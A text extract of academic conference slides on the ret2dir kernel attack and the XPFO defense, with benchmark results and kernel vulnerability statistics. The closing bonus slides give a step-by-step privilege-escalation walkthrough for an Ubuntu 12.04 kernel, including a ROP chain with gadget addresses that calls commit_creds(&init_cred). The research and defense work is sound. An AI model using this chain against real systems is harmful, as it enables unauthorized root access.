vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 43 / 59

slide-52
SLIDE 52

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard

Evaluation (cont’d)

Spraying performance Physical Memory

1GB 2GB 4GB 8GB 16GB

Success Probability

0.2 0.4 0.6 0.8 1 Idle Browsing Kernel Build

I 2x 2.66GHz quad core Xeon X5500, 16GB RAM, 64-bit Debian Linux v7 I 5 repetitions of the same experiment, 95% confidence intervals (error bars)

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 43 / 59

0.65)0.68 0.88 0.91 0.93 0.95

slide-53
SLIDE 53

Defense (XPFO) Design & implementation

Defending against ret2dir Attacks

Design

eXclusive Page Frame Ownerwhip (XPFO)

I Thin mgmt. layer over the buddy allocator ! Exclusive ownership

(of page frames) by either the kernel or userland

X Unless explicitly requested by a kernel component (e.g., to implement zero-copy buffers)

  • 1. Page frame(s) alloted to userland Synonym page(s) unmapped from physmap
  • 2. Page frame(s) reclaimed from userland Synonym page(s) put back to physmap

I Reclaimed page frames are always wiped out before remapping

X Performance-critical kernel allocators are not affected ! Low extra

  • verhead whenever page frames are alloted to (or reclaimed from)

user processes

  • Aligns well with demand paging & COW

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 44 / 59

slide-54
SLIDE 54

Defense (XPFO) Design & implementation

Defending against ret2dir Attacks (cond’t)

Implementation (1/2)

XPFO Linux kernel v3.13 (∼500LOC)

I struct page extended with XPFO fields +3MB per 1GB of RAM

  • xpfo kmcnt (ref. counter), xpfo lock (spinlock), xpfo flags

I Careful handling of page frame allocation/reclamation cases

X Demand paging frames (anonymous & shared memory mappings)

  • [stack], brk, mmap/mmap2, mremap, shmat

X COW frames

  • fork, clone

X Explicitly & implicitly reclaimed frames

  • exit, munmap, shmdt

X Swapping (swapped out and swapped in pages) X NUMA frame migrations

  • migrate pages, move pages

X Huge pages & transparent huge pages

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 45 / 59

slide-55
SLIDE 55

Defense (XPFO) Design & implementation

Defending against ret2dir Attacks (cont’d)

Implementation (2/2)

Optimizations

  • 1. No full TLB flush(es) Selective TLB entry invalidation(s) only

(e.g., using INVLPG in x86/x86-64)

  • 2. TLB shootdown avoidance [xpfo flags.S] Cascade TLB

updates only when absolutely necessary

  • 3. No page frame re-sanitization [xpfo flags.Z] Avoid zeroing

page frames twice (e.g., when a page frame reclaimed by a user process is

subsequently allocated to a kernel path that requires a clean page)

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 46 / 59

slide-56
SLIDE 56

Defense (XPFO) Performance

Evaluation

XPFO performance

Benchmark Metric Original XPFO (%Overhead) Apache Req/s 17636.30 17456.47 (%1.02) NGINX Req/s 16626.05 16186.91 (%2.64) PostgreSQL Trans/s 135.01 134.62 (%0.29) Kbuild sec 67.98 69.66 (%2.47) Kextract sec 12.94 13.10 (%1.24) GnuPG sec 13.61 13.72 (%0.80) OpenSSL Sign/s 504.50 503.57 (%0.18) PyBench ms 3017.00 3025.00 (%0.26) PHPBench Score 71111.00 70979.00 (%0.18) IOzone MB/s 70.12 69.43 (%0.98) tiobench MB/s 0.82 0.81 (%1.22) dbench MB/s 20.00 19.76 (%1.20) PostMark Trans/s 411.00 399.00 (%2.91)

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 47 / 59

slide-57
SLIDE 57

Conclusion Recap

Summary

Kernel isolation is hard

I Mixing security domains is a bad idea

7 Shared kernel/process model ! ret2usr 7 physmap region(s) in kernel space ! ret2dir 7 ... ! ?

I kGuard Versatile & lightweight mechanism against ret2usr I ret2dir Deconstructs the isolation guarantees of ret2usr

protections (SMEP/SMAP, PXN, PaX, kGuard)

I XPFO Low overhead defense against ret2dir

Code (kGuard, ret2dir exploits & XPFO patch)

http://www.cs.columbia.edu/˜vpk/research/ret2dir/ http://www.cs.columbia.edu/˜vpk/research/kguard/

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 48 / 59

slide-58
SLIDE 58

Conclusion Recap

Bonus Slides

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 49 / 59

slide-59
SLIDE 59

Conclusion Recap

The Kernel as a Target

Why care?

Kernel attacks are becoming (more) common

  • 1. Exploiting privileged userland processes has become harder !

Canaries+ASLR+WˆX+Fortify+RELRO+BIND NOW+BPF SECCOMP+...

I Sergey Glazunov (Pwnie Awards) 14 bugs to takedown Chrome “A Tale of Two Pwnies” (http://blog.chromium.org)

[KERNEL]

W^X RELRO BIND_NOW STACK_PROT HEAP_PROT FORTIFY_SRC ASLR BPF_SECCOMP

vs.

[APP]

  • 2. High-value asset ! Privileged piece of code

I Responsible for the integrity of OS security mechanisms

  • 3. Large attack surface ! syscalls, device drivers, pseudo fs, ...

I New features & optimizations ! New attack opportunities vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 50 / 59

slide-60
SLIDE 60

Conclusion Recap

Kernel Vulnerabilities

Current state of affairs (all vendors)

20 40 60 80 100 120 140 160 180 200 220 240 260 280 300 320 340 360

1996 1997 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013

# of vulnerabilities Year Kernel vulnerabilities per year

Source: National Vulnerability Database (http://nvd.nist.gov) vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 51 / 59

slide-61
SLIDE 61

Conclusion Recap

Kernel Vulnerabilities (cont’d)

Current state of affairs (Linux only)

20 40 60 80 100 120 140 160 180 200

1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013

# of vulnerabilities Year Linux kernel vulnerabilities per year

Kernel ver. Size

  • Dev. days

Patches Changes/hr Fixes 2.6.11 (03/02/05) 6.6 MLOC 69 3.6K 2.18 79 3.10 (30/06/13) 16.9 MLOC 63 13.3K 9.02 670

Source: CVE Details (http://www.cvedetails.com), The Linux Foundation vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 52 / 59

slide-62
SLIDE 62

Conclusion Recap

Threat Evolution

What’s next?

X SMEP/SMAP, PXN, KERNEXEC/UDEREF, kGuard ret2usr X KASLR, WˆX, stack canaries, SLAB red zones, const dispatch tbl., .rodata sections, ... Traditional (kernel) exploitation

What will next generation kernel exploits do?

I ROP-based code execution? I Data-only attacks? I Subvert hardening mechanisms by chaining together

component-specific vulnerabilities?

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 53 / 59

slide-63
SLIDE 63

Conclusion Recap

Threat Evolution (cont’d)

There’s still plenty of candy left

I The kernel is highly volatile ! Sub-systems change every hour I New features & optimizations ! New attack opportunities

Kernel ver. Size

  • Dev. days

Patches Changes/hr Fixes 2.6.11 (03/02/05) 6.6 MLOC 69 3.6K 2.18 79 3.10 (30/06/13) 16.9 MLOC 63 13.3K 9.02 670

Source: The Linux Foundation vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 54 / 59

slide-64
SLIDE 64

Conclusion Recap

Code-{injection, reuse} Attacks

Linux example (x86)

}

VMALLOC_START VMALLOC_END PKMAP_BASE FIXADDR_START

0xFFFFFFFF

HIGH_MEMORY

0xC0100000 ret

kstack

0xC0000000 8MB 4KB

8KB fptr

kernel uninitialized data kernel text kernel initialized data vmalloc area vmalloc area persistent mappings fix−mapped linear addresses dtbl vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 55 / 59

slide-65
SLIDE 65

Conclusion Recap

Code-{injection, reuse} Attacks (cont’d)

Classic defenses

Similar to userland exploitation ! Many protection schemes

X stack canaries (SSP), SLAB red zones, KASLR, WˆX X const dispatch tables (IDT, GDT, syscall) X .rodata sections X ...

FIXADDR_START VMALLOC_START VMALLOC_END PKMAP_BASE

0xFFFFFFFF

HIGH_MEMORY

0xC0100000 ret

kstack

W^X .rodata

0xC0000000 8MB 4KB

8KB

} kernel uninitialized data kernel text kernel initialized data vmalloc area vmalloc area persistent mappings fix−mapped linear addresses fptr dtbl

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 56 / 59

slide-66
SLIDE 66

Conclusion Recap

ret2dir Walkthrough (cont’d)

What if physmap is non-executable (1/3)

I Ubuntu 12.04 LTS, 3.5.0-18-generic (i386) I &perf swevent enabled[] ! 0xC1A57A60

(kernel .data)

I min(event id) ! 0x80000000 (2GB) I Corrupt a code pointer (fptr)

  • fptr 2 kernel image (.data section)
  • &fptr < 0xC1A57A60
  • (0xC1A57A60 - &fptr) ! multiple of 12

X &default security ops.shm shmat ! 0xC189ABE4

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 57 / 59

slide-67
SLIDE 67

Conclusion Recap

ret2dir Walkthrough (cont’d)

What if physmap is non-executable (2/3)

  • perf swevent enabled[-151861] =

&default security ops.shm shmat

  • default security ops.shm shmat =

0xC12643B0 (&cap shm shmat) 7 static key slow inc() will increase apparmor ops.shm shmat (+1)

0xc1000000 0xc0000000 physmap

perf_swevent_enabled[]

0xc12643b0 0xc12643b0

call *−0x2c(%edx)

0xc189abe4 0xc1a57a60

.text (kernel) .data (kernel)

0xc10e18d5

cap_shm_shmat xchg %esp,%edx ... ret &[xchg %esp,%edx ...] (0xc10e18d5) ... &[pop %eax; ret] (0xc11a7244) &[init_cred] (0xc1877e60) &[commit_creds()] (0xc106d230) ...

0xf0469fe0 0xf79fe000 0xf046a000

default_security_ops.shm_shmat

I “The Great Escape”

I Code-reuse to the rescue I 0xC129ADE7 ! call *-0x2c(%edx) I 0xC129ADE7 - 0xC12643B0 = 0x36A37 (223799)

shmat(int shmid, const void *shmaddr, int shmflg)

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 58 / 59

slide-68
SLIDE 68

Conclusion Recap

ret2dir Walkthrough (cont’d)

What if physmap is non-executable (3/3)

Attack plan

  • 1. Map the exploit payload in physmap

I 0xb77d1000 ↔ 0xf046a000

  • 2. perf event open(&attr, ...)

I attr.config = 0xfffdaecb I 0x36A37 (223799) times

  • 3. shmat(shmid, 0xf046a000, 0)

/* stack pivoting */ 0xc10e18d5 /* xchg %esp, %edx ... # ret */ ... /* save orig. esp */ 0xc11a7244 /* pop %eax # ret */ <SCTCH_SPACE_ADDR> 0xc127547f /* mov %edx, (%eax) # ret */ /* commit_creds(&init_cred) */ 0xc11a7244 /* pop %eax # ret */ 0xc1877e60 /* addr. of init_cred */ 0xc106d230 /* addr. of commit_creds’ */ /* stack restoration */ 0xc11a7244 /* pop %eax # ret */ <SCTCH_SPACE_ADDR> 0xc1031a51 /* mov (%eax), %eax # ret */ 0xc103fe05 /* inc %eax # ret */ 0xc103fe05 /* inc %eax # ret */ 0xc103fe05 /* inc %eax # ret */ 0xc103fe05 /* inc %eax # ret */ 0xc100a279 /* xchg %esp, %eax # ret */ vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 59 / 59

slide-69
SLIDE 69

Conclusion Recap

ret2dir Walkthrough (cont’d)

What if physmap is non-executable (3/3)

Attack plan

  • 1. Map the exploit payload in physmap

I 0xb77d1000 ↔ 0xf046a000

  • 2. perf event open(&attr, ...)

I attr.config = 0xfffdaecb I 0x36A37 (223799) times

  • 3. shmat(shmid, 0xf046a000, 0)

/* stack pivoting */ 0xc10e18d5 /* xchg %esp, %edx ... # ret */ ... /* save orig. esp */ 0xc11a7244 /* pop %eax # ret */ <SCTCH_SPACE_ADDR> 0xc127547f /* mov %edx, (%eax) # ret */ /* commit_creds(&init_cred) */ 0xc11a7244 /* pop %eax # ret */ 0xc1877e60 /* addr. of init_cred */ 0xc106d230 /* addr. of commit_creds’ */ /* stack restoration */ 0xc11a7244 /* pop %eax # ret */ <SCTCH_SPACE_ADDR> 0xc1031a51 /* mov (%eax), %eax # ret */ 0xc103fe05 /* inc %eax # ret */ 0xc103fe05 /* inc %eax # ret */ 0xc103fe05 /* inc %eax # ret */ 0xc103fe05 /* inc %eax # ret */ 0xc100a279 /* xchg %esp, %eax # ret */ vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 59 / 59